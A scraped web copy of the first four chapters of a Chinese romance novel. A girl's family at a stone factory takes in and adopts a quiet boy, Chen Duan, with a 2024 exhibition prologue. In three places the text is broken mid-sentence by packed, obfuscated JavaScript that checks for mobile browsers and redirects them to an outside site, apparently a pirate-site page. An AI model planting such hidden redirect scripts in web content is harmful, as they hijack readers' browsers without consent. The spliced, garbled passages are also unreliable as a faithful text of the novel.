《致我的少年》 1. 第 1 章 【楔子】 2024年夏,天气预报说今天有雨,孔净出门没带伞。 遇上晚高峰,计程车刚驶出大学城就被迫堵在高架上。 司机师傅看眼前面望不到尽头的尾灯长龙,转手去点中控台,滋滋几道信号连接声过后响起电台女声:“又是一年纷繁夏季,在立夏之日我们迎来了著名画家陈……作品展出为期三天、地点在‘不又书酒馆’三楼,有兴趣的市民朋友可以前往参……特别提、画展每日晚上七点停止接……” “什么网络!”司机“啪啪”两下,电台女声彻底卡壳。 一抬眼,同后视镜里一双形状极精致的猫咪眼对上,司机一愣,“……你刚才说要去‘布、补油书什么馆’?名字真拗口、也是去看展?” “嗯。” 孔净一笑,略带攻击性的眼眸就眯了起来,只让人觉得亲近。 司机也笑了:“你还是学生吧?” “不是。”孔净扎高马尾,没化妆,米黄色棉质连衣裙配帆布包,气质干净得像是车窗外新落的雨滴。 “那就是老师了?这么年轻就进大学教书。”司机感叹。 孔净又笑了下,手机振动,是一条短信:我去接你。 -不用,在路上了。 她低头打字。 “哎呀!”司机想起什么,“刚才电台里说七点画展就不准进人了,不堵车还好,现在……” “没关系,”孔净语调轻缓,“能进去。” 六点五十五分,孔净扫码付款,推开后座车门。 从书酒馆背身的楼梯间上去,听见两个年轻男女被工作人员拦在入口处,“明天再来吧,我们快闭馆了。” 白色板鞋踩在台阶上声音清脆,工作人员晃眼看见有个纤丽身影上来,“不好意思,这位……” 拒绝接待的话刚要重复脱口,工作人员看清孔净的脸,立刻笑道:“孔老师你来啦?陈先生一直在等你。” “好。” 年轻人不满,“老师就了不起,她可以进我们为什么不能进?” “孔老师是陈先生的家属。”工作人员说完觉得这句有歧义,怕给老板招黑,于是郑重解释道,“孔老师是陈先生的姐姐。” 入口处的纷争逐渐在身后消弭,孔净没急着往里边去,她驻足停在一幅笔触狂野的油画前。 “画展名字为什么叫‘银鱼’啊?这里哪幅画里有鱼?一条也没看见。”里面还有些来参观的人没出场馆,一个女生对同伴发出疑问。 “怎么没有?我猜……银鱼银鱼,其实是‘淫||欲’的谐音。”同伴往里边长廊上挂着的画作扫去。 如她所见,每一幅都看似线条杂乱,色彩兼囊极暗和极明,画作者淋漓的欲望几乎喷薄涌出纸面。 “还真是诶!”女生震惊,“我看其他画家表达爱情不都用笔温和轻柔吗,他怎么这么凌厉?” 同伴想了许久,“……也许,他所期待的爱情是、不被允许的?” “都取名银鱼了,就算不被允许……你说,他们做了吗?” 孔净听到这里,轻轻抿了下唇。 察觉到有目光停留在自己身上,转过脸,一道温淡身影从两排挂满情||欲画作的长廊尽头走来。 他不知道看了孔净多久,随着距离拉近,静黑眼眸咬合在孔净身上的力道越重。 走到面前,孔净听见他说:“雨下大了。” “嗯。” “今晚还走吗?” “看看吧。” ------------------------------------ 2005年,夏。 “告诉你一个秘密,其实……我爸爸是黑涩会——老、大!” 意料之中,看见阿禾张着嘴巴眼睛里露出震惊和崇拜,孔净慢吞吞地拍掉手上的沙子,“所以……我要回家了,再见。” 孔净是学校里少有的几个外地小孩之一,出了校门后逐渐脱离放学回家的大部队,往位于村子边缘的石材厂走去。 昨天晚上做作业时一心二用,新闻联播之后的天气预报说今年的台风很快又要来了,好像叫、叫……纳瑞鸡? 孔净不明白台风就是台风,为什么去年叫悟空,今年就变成了鸡。 不过这不重要。重要的是,台风要来了,学校又要放假了。 孔净步伐轻快,捡了根树枝自娱自乐这儿戳戳那儿打打,端午节快到了,阿禾的阿嬷说会有很多四脚蛇出没,要是不小心被咬到会死掉。 孔净还不想死,但是又觉得刺激,草丛里偶尔发出的窸窣声让她快乐又惊恐地小声尖叫。 看见那根标志性的锈红色烟囱,孔净越发加快脚步,拐过弯,视线里出现那幢独门独户的浅灰色石头房子,发现铁门是开着的,她一下笑起来,停下来胡乱拍掉衣服裤子上粘着的草屑,然后铆足劲冲刺过去。 “妈,我回来……”了 孔净的书包碰到铁门撞出“嘭”的一声,然后重重地打在她的屁股上,很响,像是挨了一巴掌。 她没继续出声,小动物感知危险的本能,面对屋里两道忽然直射过来的目光,她缩了一下肩膀,抿着嘴巴无声站在门边。 “把书包放下,洗个手把菜择了。”没开灯,侧边那扇窗户不足以将屋外的霞光引进来,孔净看不清妈妈的表情,但她听清了妈妈压抑的哭腔。 屋里空气流通效果差,孔净在闷湿的烟酒味中沉默地卸下书包,放到桌子上。 “看到妈妈哭,你就是这种态度索?” 孔净刚要转身去厨房就听见斜对面那个魁梧凶悍的男人对她说话,她吓了一跳。 一个小时前在学校里同阿禾说出“我爸爸是老大”时隐隐自豪的心情已经消失,就算记忆里孔大勇从不曾打她,孔净对爸爸却有着天生的畏惧。 小小的一声“没有”在喉咙里孱弱滚过,孔净站在原地低着头,完全不知道该做什么,以及,发生了什么。 “一个二个老子真的是……”孔大勇不满地砸一下嘴,把快要燃到尽头的烟屁股送到嘴边最后吸一口,然后摁死在烟灰缸里。 看见他粗厚的大手伸过来,孔净的脚后跟一瞬间不自觉离地,紧接着就听见爸爸笑嘻嘻地说:“端端,过来,孔净比你大一岁,你喊她姐姐。” 孔净“唰”地一下转过头,一个小身影从高高的床沿上滑下来,从深灰色阴影慢慢走到浅灰光影里,直到一下被爸爸的手抓住胳膊,拽到身边。 尽管屋里昏寐极了,孔净还是能看出他很白,和她见过的所有小孩都不一样,白色卫衣的领口上没有一点污渍,淡蓝色牛仔裤裤腿不长不短正正好,脚上那双有个打勾标志的运动鞋很新。 小男孩被孔大勇搂在怀里,那只大掌在他肩膀上重重拍了两下,他身子一歪,孔净瞬间想到一块豆腐被捶打。 可他没有出声,绯薄的双唇抿成一条直线,然后慢慢再站直。 “莫怕,放开些!在叔叔家里耍几天,你爸爸很快就来接你。走,叔叔带你下去转一圈。” 预判到孔大勇的动作,小男孩往旁边侧了一下,没让抱,顿了顿,粉白的右手捏成拳头递给他。 看着孔大勇牵着小男孩的手,一大一小的背景无比怪异又极其和谐地朝石材厂走去,孔净趴在窗边双手紧紧抓着窗棱,她转头问妈妈:“他是哪个?从哪儿来的?” 李贤梅没说话也没再哭,背对着站在灶台前准备晚饭,脚边用来装垃圾的黑色油漆桶里掉进一把蔫菜心。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317105|183059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晚饭只有孔净和李贤梅吃,屋子里异常安静,连作为每日既定节目的电视连续剧和新闻联播都缺席。 李贤梅没回答孔净的问题,但是她吃完饭麻利地收拾好灶台,走到厂子里。 天已经黑了,正对厂房的一排黑洞洞一样的石头房子总算亮起昏黄灯光,李贤梅就站在这些半开的门户前,扯开嗓子道:“你们在厂里这么久还不晓得孔大勇哇?他就是热心肠!一听说哪个有难,不管认识不认识就是凑也要凑上去帮忙!这回也是啊!一个名字都记不全的兄弟要去新疆创业,两口子这么远带个小娃娃不方便,再说只是先去考察也不一定能成,孔大勇二话不说就拍胸脯答应帮他们照看娃娃,生活费都不要!” “哦哟——老大就是老大!” “孔老大出了名的嘛!那回张天的媳妇被人摸了,也是老大带人去出的气!把那个杂皮打得哦!” “我们能来这边打工也是亏了大勇!没得大勇,我们不晓得还在老家哪个山角角挖地!” …… 厂里工人和他们的家眷端着饭盆你一嘴我一嘴地应和。 孔净坐在矮板凳上一边听大人们说话一边用指甲在蚊子包上划十字。 桂华嬢嬢从屋里拿了两颗杏给孔净,她说:“那个小孩有没有可能其实是你的亲弟弟?” “不可能!”孔净“嘎嘣”咬一口杏肉,“我妈妈又没有……再生小孩。” 后面几个字音量弱了些,九岁的小女孩平时听大人们荤素不忌地聊天和看电视,已经对生育有了模糊的概念。但是因为大人们闪躲的态度,所以她认为那是羞耻的。 桂华嬢嬢说:“不是你妈妈生,是你爸爸。” 孔净震惊:“我爸爸是男的,男的怎么会生小孩?!” 桂华嬢嬢不说了,只是蹲在一边哼着歌笑眯眯地拿斜眼看她。 孔净被她看得莫名难受,杏核含在嘴里咬得咯咯响。 晚上孔净和李贤梅已经睡下了,黑暗中忽然听见铁门被推开,孔大勇大着舌头喊道:“贤梅,起来给端端弄点吃的。” 他们家住的也是石厝,但是和本地村民的房子不同,这间石厝方方正正又孤零零地立在道边,六十来平的空间没有隔断,进门左手边一竖一横摆下两张床,床和床之间用石材和木架子搭成简易家具,放电视机和衣服被褥,进门右手边依次是所谓的厨房和餐桌,作为过渡左右两边另摆一张小点的红色理石桌子,那也是孔净做作业专用的桌子。 正因为没隔断,所以孔大勇一喊,灯一开,已经睡熟的孔净和李贤梅瞬间被惊醒。 孔净躺在床上没动,她听见李贤梅一边起身一边问:“你只顾自己喝酒没给他弄吃的?” “弄了,他吃不惯。” 孔净慢动作翻个身,透过灰白色蚊帐看见那个叫端端的小男孩明明已经很困了,站都站不直,却还是不肯让孔大勇抱,软软小小的一条孤立在铁门边。 黑色额发柔顺覆着前额,他睁着一双困倦惺忪的眼睛打量屋子,而后视线慢慢朝孔净所在的方向移来。 孔净想起桂华嬢嬢的话,无声揪一下薄被,翻身转向里侧。 李贤梅煮了红糖醪糟,卧了两个蛋,分别盛在两个碗里。 孔大勇把端端拎到桌边,诧异地问:“孔净还没睡?” “睡了也要喊起来,总不能让她以为我们吃独食。”李贤梅说。 孔大勇笑两声,“不晓得跟哪个学的这么小气。” 李贤梅过来喊孔净,孔净可能是被孔大勇说的“小气”两个字怄到,又或者是别的什么原因,她没动也没吭声。 李贤梅走回桌边,把另一碗红糖醪糟推到端端面前,“吃得完就都吃了。” 于是,孔净对着墙,更怄了。 2. 第 2 章 一碗红糖醪糟拖拖拉拉吃了十来分钟。 屋里响起震天的鼾声,李贤梅半边身子靠着桌沿,转头看见丈夫歪在床上张大嘴巴喷洒着酒气,已经睡着了。 转回眼,端端低垂着头,捏着汤匙把瓷碗里的荷包蛋搅得细碎。 她皱眉:“不吃别糟蹋。” 端端浓密的眼睫在脸上落下两片扇影,一声不发放下汤匙。 李贤梅眉头皱得更紧了,可她什么也没说,起身拿塑料盆摸黑去旁边的简棚里接了半盆凉水,兑入事先烧好装在暖瓶里的开水,丢帕子进去的时候伸手试了下水温。 “过来洗脸。”说完,她走到孔净的床边,一把掀起蚊帐,推孔净让她往里边睡点。 孔净一直注意着屋里的动静,听见李贤梅的脚步声往这边来,赶紧闭上眼睛假装睡着了。 她被推了好几下仍没动弹。 李贤梅没有多少耐心,弯下腰就把她连人带枕头半抱半搡地挪到靠墙躺着。 孔净睁开紧闭的双眼:“妈妈你干什么?” 李贤梅走到旁边从理石架子上堆砌的行李袋里费力扯出一条毯子,找不到多余的枕头也就不找了,她把毯子扔在孔净空出来的半张床位上,“你们两个凑合一晚上。” 孔净一下坐起来,“我不……” “声音再大点,最好把你爸爸吵起来。” 旁边床铺上的男人这时翻了一下身,孔净飞快朝那头看一眼,不敢再出声了。 李贤梅再转回去,看见端端低头坐在盛满水的塑料盆前,水泥地上一点水渍也没有。 没问他洗没洗,像是完成任务一样,把从孔净床前拎来的拖鞋放在他面前,然后迅速且毫不温柔地扒掉他的鞋袜,低声下指令:“穿上。” 李贤梅一手端塑料盆,一手拽起端端的一条胳膊,把他带到屋外,盆里的水往他脚上一冲。 “好了,去睡吧。” 孔净抱紧被子坐在床上,透过蚊帐看见端端慢慢走到床前,两边裤脚沾了水比原先的颜色要深一些,李贤梅忘了或者根本没想过给他找擦脚布,他正湿着一双小脚踩在孔净那双印着飞天小警女图案的凉拖上。 孔净一瞬间感到地盘被占、东西被抢的愤怒与屈辱。 “快上床睡,这里没人有空哄你。” 李贤梅话音落下,“啪”地一下关掉灯。 孔净在黑暗中听见李贤梅躺上了床,很快,隔壁传来两道此起彼伏的呼噜声。 月光从斜对面的窗缝照进来,端端站在蚊帐外,身影细小单薄,浅得像是被丢弃的背景板。 也不知道僵持了多久,久到孔净上下眼皮直打架,久到怀疑他可能想就这么站一晚上。 蒙昧中,孔净爬到床边,两手分开掖好的蚊帐,压着声音气愤又疑惑道:“你难道会特异功能站着睡觉?” 站在床前的小男孩听见声音慢慢抬起低垂的头,光线这么暗,他的眼睛却很亮,安安静静的,又有些哀伤,像是月光照在沼泽中。 九岁的孔净被他眼里那股矛盾的情绪一下击中,说不清道不明地觉得难受。 她直起上半身把蚊帐掀高些,声音并不明媚,却不似先前那样抵触了,她说:“快点上来,不要害我挨骂。” 可能因为有个当老大的爸爸,所以孔净天生也有一副侠义心肠,她短暂忘记了桂华嬢嬢说的话,还把自己的枕头分了一半给端端。 第二天起床,发现那碗原本属于自己的红糖醪糟还完整地放在桌上,她心里最后残存的那点敌意也完全消散了。 周六是端午节,姑父家的表弟听说孔净家大变活人平白多出一个小孩,一大早就闹着要来看稀奇。 姑父赵健不愧是老司机,不管路多陡弯多急,油门永远轰到最大,孔净蹲在石厝斜对面的土包上,远远看见一辆蓝色摩托车风驰电掣蛇行般靠近,遇到坑洼车上四个人就如同耍杂技一样腾起又落下。 孔净转身跑下土包,摩托车也驶到了石厝前。 车还没停稳,表弟赵长就挣开身后姑姑的胳膊,哧溜一下滑到地上:“端端!端端在哪里?!” “长长,这下有人跟你一起耍了!”孔大勇等着赵健给自己递烟,一边朝身后喊道,“端端快出来,别看电视了!” 屋里,端端安静坐在塑胶板凳上,仰头盯着电视机。 老式大头电视机连着屋顶的“锅盖”,统共没几个台,正在播放海峡对岸那部史上最长剧集《意难忘》。 赵长等不及,踢踢踏踏地跑进屋,同孔净那天第一次见到端端时一样,赵长停在一米开外的地方,脸上露出惊讶的表情。 表妹赵兰兰拉了拉孔净的衣袖,悄悄俯在她耳边说:“这个哥哥、不理人。” 自从那天晚上已经过去三天,孔净已经习惯端端的沉默。任何人喊他做什么,他都照做,像个乖巧的牵线木偶。其余时候他就坐在电视机前,不管上面播放的是《神笔马良》还是《蝴蝶公墓》,他都睁着一双静亮的眼睛一眨不眨地盯着屏幕。 李贤梅觉得他挺省事,但私下又怪道:“从来没见过电视瘾这么大的。” 孔净觉得他可能根本没在看电视。 那他看的是什么,想的又是什么呢? 李贤梅提前从厂里回来准备中饭,孔大勇嫌肉菜不够丰盛,又去外边那个专做附近这几个厂生意的小卖店买了只姜母鸭回来。 一只鸭两只腿,孔大勇夹起其中一只时,赵长像往常一样捧起饭碗去接,却眼睁睁看着最喜欢自己的舅舅把那只肥溜冒油的鸭腿放进端端的碗里。 “吃得多才长得高,姜母鸭这么好的东西你总不挑了吧?”孔大勇凶悍的脸上露出少见的慈爱的表情,这一幕很像在外血雨腥风拼杀的老大突然金盆洗手回来享受天伦之乐。 端端在他的注视下用筷子慢慢夹起鸭腿,垂眼,象征性地咬一口。 孔大勇满意地笑出声,然后才又夹起仅剩的另一只鸭腿给赵长。 在这种场合,就算没有端端,那两只鸭腿也只会分给赵长和赵兰兰,孔净已经习惯。 她眼明手快夹了只翅膀,却不是给自己,而是拿去安慰莫名在舅舅面前失了宠的表妹。 赵兰兰才四岁,但心思颇为敏感。 她看着桌子对面安静吞咽的端端和吃得满嘴流油的哥哥,嘴巴瘪了一下又一下。 孔净用胳膊碰碰旁边的赵兰兰,对她做个鬼脸,表妹眼里委屈却还是被逗得弯起了嘴角。 孔净转回脸,对上对面端端不知什么时候移来的静默视线,她无所谓地低头继续扒饭。 大人们还在吃,几个小孩得到准允后结伴出去玩。 赵兰兰还记着饭桌上“被夺走”的鸭腿,她拽着孔净的衣角小声问:“他以后会一直住在你家吗?” “不是啊,爸说他过几天就走了。”孔净为照顾小表妹走得慢,手里拿根狗尾巴草,时不时踢一下脚下的小石子。 最前面赵长手舞足蹈地疯跑,端端迈着沉静的脚步无动于衷地走在中间。 孔净觉得他可能一点也不想和他们一块玩,答应出来只是因为不想留在屋子里闻烟酒味以及听大人们的喋喋不休。 “走去哪里?”赵兰兰又问。 孔净理所应当地说:“他自己家呀。” 几个小孩顺着土石路到了厂里一处闲置的空地上,赵长一路上各种找机会和端端说话,但都以端端冷淡的注视作为结束。 赵长“切”一声,自以为比端端大两个月,他才不稀罕和穿得像模特一样的小屁孩一块玩呢! 赵长分开旁边比人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵长恶作剧地同端端擦肩而过,把用塑料袋装着的四脚蛇从口袋里掏出来,助跑后用力丢进不远处的泥浆沉淀池。 石材加工中会用水冲洗石材,被冲刷下来的石粉被引到沉淀池里,形成和沼泽差不多的质地。那只凶猛的四脚蛇好不容易从塑料袋里挣出头呼吸到新鲜空气,立刻被泥浆困住,吃进一口浆水混合物后痛苦地梗起脖子,但是越挣扎越往下陷。 过程很慢,结局没有转圜的余地。 好残忍。 孔净心有余悸地蹲下身,搂着赵兰兰的肩膀,转过头没再看。 “喂!你干什么?!” 赵长忽然喊叫起来。 原本无论别人做什么都用静默以对的端端突然朝沉淀池跑去,站在池边看了几秒,然后转头梭巡,随即冲向那片芦苇丛,折下一支比他还高的茎秆,一边剔掉多余的叶子和花穗一边快速折返到池边。 在那条四脚蛇彻底被泥浆淹没之前,他用徒手修剪的芦苇杆勾住塑料袋把蛇吊了回来。 半包塑料袋都是泥浆,四脚蛇被白色包裹,痛苦地在地上扭动。 赵长跑过来,还是怕被咬,嫌弃地“咦”一声,往后跳了两步,他说:“喂!你干嘛要救它!它会咬人,是坏东西!” 端端没说话,转身从废料堆里搬了一块石头过来,一下砸在地上。 “噗”的一声,塑料袋因为受力被泥浆冲破,四脚蛇被压在石头下,露出的一截尾巴毫无生息地耷着。 蛇死了。 赵长瞪大眼睛,像看比四脚蛇还恐怖的怪物一样看向端端。 过了会,一直被喊做“喂”的小男孩终于抬起眼,回应他:“我叫陈端。” 3. 第 3 章 赵长大肆将四脚蛇事件渲染一番讲给大人们听,中间省略了赵兰兰被吓到尿裤子的段落,但是着重强调陈端把蛇从沉淀池里救回来、再用石头砸死的过程。 李贤梅和姑姑孔小琼如他所愿露出惊异的表情,孔大勇听了之后瞪着被酒气熏红的眼睛转向陈端,粗厚大掌一下拍在他单薄的后背上,“男子汉就是要这么霸气!” 老大都开口了,赵健立即跟上,“好样的,这就叫给它一个痛快!” 赵长接连受挫,坐到电视机前把声音开得震天响,压过餐桌边两个大人围绕陈端的赞许。 李贤梅找了条孔净小时候的裤子,兑了水,和孔小琼一起带着赵兰兰去旁边简棚里清洗。 孔净坐在旁边做作业专用的桌子边,像是在看电视,清凌凌的视线却不受控地朝陈端看去。 陈端被孔大勇揽在身侧,乖巧又安静,看起来根本就是会被吓哭的样子啊。 真奇怪。 不过孔净对陈端的探究欲也没有那么强烈,因为端午节之后他就要回自己家了。 周一早晨,孔净吃了面条,抹抹嘴,背起书包就要出门。 她今天睡过头,再不跑快点有可能会迟到! 孔大勇喊住她,“慌什么,我送你!” 孔净惊喜极了,她喜欢被爸爸接送,这样的机会不常有。 孔大勇一口喝完剩余的面汤,然后看一眼桌边的陈端,他跟孔净说:“等端端吃完的,我今天主要送他走。” 陈端碗里的面条几乎没怎么动过,他拿着筷子慢慢地吃,不发出一点声音,相比于赵长狼吞虎咽的样子,他很有教养。 可是孔净好着急,这样一根一根地吃要吃到什么时候! 她飞快看一眼窗户外面正在一边抽烟一边和人大声讲话的孔大勇,走近几步轻声催促道:“你快点啦!” 陈端速度不变,孔净想到早读课迟到会被罚站就难过死了,可是陈端丝毫感受不到她的急切。 孔净绝望极了,开始生气。 就在她再次朝窗外张望打算避过孔大勇并对陈端发起第二轮催促时,外面的孔大勇也恰好看向屋内,“吃完了吗?” “没有!” 孔净赌气往桌边一坐,却听见筷子架在瓷碗上发出轻响。 她抬眼,斜对面的人已经起身走了,瓷碗里的面条只比刚才少了一点。 孔净怔了怔,赶紧出门,孔大勇已经轰燃了摩托车,正侧头让陈端坐上去。 陈端安安静静地站在一旁,直到他朝孔净看了一眼,孔净才后知后觉地走过去手脚并用先爬上坐垫。 孔净心想,他还挺有礼貌。 摩托车颠簸,身体失重腾起又落下,惊险又刺激。 孔净其实很想像小时候一样两手圈住爸爸的腰,但是九岁的小姑娘觉得这样有些别扭,只能紧紧拽住孔大勇的后衣襟。 身后的陈端无声无息,并不紧挨着孔净,而是两手向后抓住坐垫下面的不锈钢支架。 孔净有点担心他会掉下去,一路上警觉地支起耳朵听他可能会发出的惊叫声。 可是她又怀疑,就算真的摔下车,陈端也会安安静静地爬起来,不喊一声痛。 摩托车停在校门前,恰好响起早读课铃声,孔净从车上滑下去,着急中不小心抓到后面陈端的胳膊。已经是穿短袖的夏天,孔净“啊”了声,看见陈端净白的左小臂上立刻现出两道刮痕。 “孔净!孔净!快点啦!语文老师要来了!” 阿禾也来晚了,跑过校门时伸手拽着孔净就往教学楼那边跑去。 “对不……”孔净跌跌撞撞,回头,摩托车已经再次出发,孔大勇载着陈端消失在灰墙外的绿荫中。 “那是谁?也是你表弟吼?”刚在座位上坐下,阿禾就问孔净。 孔净摇头。 “吼!我就知道不是!”阿禾把课本立起来挡住脸笑嘻嘻地说,“正太哦!比你表弟帅哦!” 下午放学回家,铁门是关着的,屋里昏暗又静谧。 李贤梅还在厂里忙,那个一连几天坐在电视机前看《意难忘》的小男孩已经离开,孔大勇也没回来,可能又被留在哪处喝酒了。 孔净从书包里摸出钥匙开了门,自觉洗了手后把李贤梅提前买好的菜从塑料袋里抖出来。 孔大勇一直没出现,尽管早已习惯丈夫的神出鬼没,李贤梅在繁重的工作中还是忍不住抱怨。 孔净感觉到周遭的低气压,尽量不惹妈妈生气。 周五下午提前一节课放学,孔净被阿禾带着偷偷去她家吃了根棒冰才回家。 转过土包时,她惊奇地发现铁门是开着的,孔大勇的摩托车停在屋前。 孔净撒欢似的往屋里跑去,手上那捧一路上精心采集的野花都跑散了也顾不得捡。 进屋,里面的气氛却比那天陈端第一次出现时还要窒重。 如同那天的场景再次复刻,光线昏聩,孔大勇和李贤梅坐在桌边,一个手里夹一根烟屁股,面前的烟灰缸堆成了山,另一个在烟雾缭绕中时不时用已经揉成团的纸巾擦一下眼角。 孔净低声喊他们,“爸,妈。” “事情就是这么定了,你也该大度些!”孔大勇像那天一样吸干烟屁股,站起身的一瞬立刻换了副面孔,他裂开嘴笑着,大手冲孔净招了招,“走,爸爸带你和弟弟去外头耍!” 孔净惊愕至极,几乎是条件反射地转过头去。 陈端也似那天一样从爸妈的高床上滑下来,不同的是,床边立着一只淡灰色的行李箱。 孔大勇带着孔净和陈端去了小卖店,点了好几个招牌菜,他自己一边吃菜一边呷高浓度的白酒,还给他们各买了瓶可乐。 小卖店的老板娘问:“这是谁啊?长得真水灵啰!” 孔大勇眯起眼睛,咧嘴笑得像屡战不胜却峰回路转窃得他人胜利果实的烂仔,“我儿砸!” 可乐很好喝,甜滋滋,气泡跃出瓶口像烟花绽放过后坠落的声音。孔净两手握住可乐瓶,心里有万千个疑问,为什么陈端又回来了?为什么孔大勇这么高兴?为什么他让陈端以后都管他叫爸爸? 最后,孔净的脑海里浮现的是妈妈背对着站在灶台前做晚饭的孤沉身影,她忽然觉得很伤心。 孔大勇大摇大摆地向见过的每一个人介绍陈端,工人、朋友都知道他孔大勇有儿子了! 兄弟不要的儿子他来养,以后就是他孔大勇的亲儿子! 李贤梅似乎也接受了要给陈端当妈的事实。她哭过之后,出了家门不管谁问起陈端,她都高高兴兴地说:“是的啊,孔大勇一副热心肠谁拗得过他!养就养嘛,一个是养,两个也是养,费不了多少事!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317107|183059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那他亲生爸妈呢?” “不是死了就是失踪了,哪个晓得!” 大家当着面都夸孔大勇仗义,赞李贤梅大度,说他们两口子有福气,福报都在后头。 但风言风语总在背地里流窜。 孔净一个人路过石材厂时,工人叔叔们会用一种奇异的笑表情问她:“你弟弟呢?好不容易盼来个弟弟,你不带他一起耍?” 厂里的女眷就总是嗔怪地剜自家丈夫一眼,然后朝孔净招招手,从屋里拿东西给她吃。 孔净辨不清楚他们话语和表情里的潜台词,但她还是凭直觉感到了一丝恶意,不重,一种对他人生活的揶揄和编排欲。 于是,她不再接受嬢嬢们的投喂,非必要也不再去厂里。 既定事实就是陈端在石厝里住下了,他还是和孔净挤一张床,但是孔净默默把放在正中的枕头拉回到自己这侧靠墙放着。 台风天的晚上,窗外似有猛兽嘶吼,树影狂舞,仿佛世界末日来临。 有了儿子之后的孔大勇这阵倒是没再那么频繁外出,一反常态地和李贤梅在厂里监督工人们装货,偌大的屋子里只留孔净和陈端。 “嘭!呜——呜——呜——!”屋旁的黄葛树枝干猛烈撞击屋顶和窗户,风声越来越尖锐。 黑暗里,孔净两手几乎要把被子攥碎,她被吓得哭出了声。 也不光是因为害怕,压抑许久的情绪在环境的烘托下急需找到一个出口。 她质问陈端:“你为什么要住在我家?你为什么要让我爸爸妈妈吵架?你走行不行?你走!” 床铺另一边,陈端安安静静躺着,要不是蚊帐被风卷起,闪电照过他沉郁而漆黑的眼睛,孔净只当他睡着了。 陈端没有回答,孔净哭着哭着也没声了。 第二天醒来,两个小孩谁都没有提过这件事。 再过不了一个月就要放暑假,在孔大勇看来这个时候办转学吃力又没必要。 “端端这么聪明少上几天课照样考第一!”他让陈端在家把接下来的几个月混过去,等到了九月份再去上学。 于是陈端除吃饭睡觉之外的时间都彻底焊在了电视机前,而孔净周一到周五上学放学,若不是要在孔大勇面前装装样子,她几乎不主动和他说话,晚上挤一张床中间也隔一道半掌宽的楚河汉界。 到了周末,孔净不是把作业带去阿禾家做,就是赶快写完之后跑出去找阿禾玩,总之,住在一个屋檐下被迫顶着姐弟的头衔,孔净不理陈端,陈端也无视孔净。 暑假,孔净和阿禾在厂子后面的森林顺着挖机碾过的路跑得满头大汗,选定一棵上了年头的芒果树,两人你推我我拉你地爬上横向天际的一截粗枝干。 阿禾把从自家树上摘的杨梅小心从背包里拿出来,孔净也把芭乐分一颗给同伴。 阿禾咬一口冰淇淋质地的芭乐,好奇地问:“正太咧?你怎么都不喊他一起出来玩?” 孔净觉得热,脱了鞋子,在风中惬意地晃荡着小腿,她说:“他不跟我们玩。” “你都没喊!”阿禾有时会去孔净家,当然见过陈端一个人坐在电视机前的孤零背影,她同情心泛滥,“好可怜。” 孔净忽然有点烦,杨梅和芭乐也都不甜了,“我喊了他也不会来。” “你先喊喊看嘛。” 4. 第 4 章 孔净在黄昏之前回到家,意外发现李贤梅提前放工,正坐着一边看电视剧一边理刀豆。 “妈妈!”孔净洗了手,开心地凑过去也帮着撕豆筋。 她不动声色地扫一眼屋内,李贤梅头也不转地说:“别看了,你爸爸带他出去吃香的喝辣的了。” “哦。” 李贤梅听出孔净隐藏的失落,瞥她一眼,“这下好了,有了陈端,你爸爸出去喝酒更不会带你了。” “哦。” 李贤梅不太满意孔净的反应,她停下来,“你脾气还好嘛,爸爸被抢了也不发个火。” 孔净观察妈妈的表情,认真问道:“那,我应该怎么发火?” 李贤梅没好气地“哼”一声。 暑假一晃就过,九月初孔大勇骑着摩托车威风凛凛地带着孔净和陈端去学校报道。 孔大勇给孔净班主任递烟,麻烦他多关照两个孩子。 孔净也是在这个时候才发现比她小一岁的陈端居然和她同级,这学期也读三年级。 村校规模小,每个年级只有一个班。陈端被班主任领进教室,站在讲台上简短地做自我介绍。 “好耶!”阿禾很兴奋,大力拍掌欢迎新同学。 陈端虽然年纪小但是个子挺高,班主任把他安排在教室后面靠门的倒数第二排。班主任还特意强调,“陈端是孔净的弟弟,大家要像对待孔净一样和他好好相处。” 前排那个喜欢调皮捣蛋的男生立即转过头,“你弟弟?亲的?为什么你们一个班?哈哈我知道了!因为你是笨蛋!” 孔净低头用抹布擦桌子,阿禾小声替孔净呛他:“你见过考第一名的笨蛋吗?你每次考试都垫底,你才锈抖咧!” 陈端提着书包从旁边过道走过,他也听到了男生和阿禾的对话,可他没有任何反应,也没有看位置挨着过道的孔净。 孔净当然也不会看他。 班里同学基本都是本村人,午饭就近回家吃。石材厂离学校不算近,来回跑太耗时间,孔净一般都带饭吃。阿禾也凑热闹,央求阿嬷做了蚵仔煎,上面铺上一层薄薄香香的肉松。 中午,喧嚣的教室回归宁静,阳光照着窗外那株随风轻摆的柳树,在课桌上落下翎羽似的淡影。 孔净和阿禾就在这淡影中打开各自的饭盒,彼此分享朴实又美味的食物。 以前,两个小女孩一定一边吃一边叽叽喳喳说个不停,但是今天教室后排多了一个对着饭盒沉默咀嚼的陈端,孔净和阿禾也变得安静了。 阿禾耐不住,两边腮帮子鼓鼓囊囊,趴在桌子上做贼一样朝后排看一眼,然后凑近孔净,“他带的四什磨?好像很好吃诶!” 